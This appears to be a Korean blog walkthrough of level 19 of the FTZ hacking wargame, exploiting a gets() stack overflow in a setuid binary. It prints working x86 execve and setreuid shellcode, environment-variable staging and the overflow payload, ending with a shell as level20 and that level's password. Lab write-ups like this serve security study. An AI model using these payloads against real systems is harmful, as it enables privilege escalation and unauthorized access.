[FTZ] Level 19

Sisyphus·2022년 7월 15일

FTZ

목록 보기
29/30
[level19@ftz level19]$ cat hint


main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
} 

cat 명령어로 hint를 출력해보니 소스코드가 출력되었습니다.
소스코드를 보면 gets( ) 함수로 인해 버퍼 오버플로우가 발생합니다.


공격을 위해 메모리 구조를 분석해보면

0x08048446 <main+6>:	sub    esp,0xc
0x08048449 <main+9>:	lea    eax,[ebp-40]		// eax = buf
0x0804844c <main+12>:	push   eax				// buf
0x0804844d <main+13>:	call   0x80482f4 <gets>	// gets(buf)
0x08048452 <main+18>:	add    esp,0x10

메모리 구조를 그려보면

NOP[44] + Shellcode_addr[4]로 공격을 하면 될거 같습니다.


먼저 환경변수에 shellcode를 저장하고 주소를 출력해보면

[level19@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level19@ftz tmp]$ ./getenv 
Shellcode: 0xbffffc21

Shellcode: "\x21\xfc\xff\xbf"


익스플로잇 코드를 짜보면

NOP[44] + Shellcode_addr[4]
(python -c 'print "\x90"*44+"\x21\xfc\xff\xbf"'; cat) | ./attackme

익스플로잇 코드를 실행시켜보면

[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x21\xfc\xff\xbf"'; cat) | ./attackme
!?
id
uid=3099(level19) gid=3099(level19) groups=3099(level19)

쉘이 뜨긴 했는데 user가 level19입니다.
setreuid( ) 함수가 없어서 level19의 권한으로 쉘이 뜬거 같습니다.


setreuid( ) 함수가 포함된 쉘코드로 다시 시도해보면

# ShellCode (setreuid() 포함)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

[level19@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level19@ftz tmp]$ ./getenv 
Shellcode: 0xbffffc11

(python -c 'print "\x90"*44+"\x11\xfc\xff\xbf"'; cat) | ./attackme

[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x11\xfc\xff\xbf"'; cat) | ./attackme
?
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)

level20의 권한으로 쉘이 떴습니다.


패스워드를 출력해보면

my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".

0개의 댓글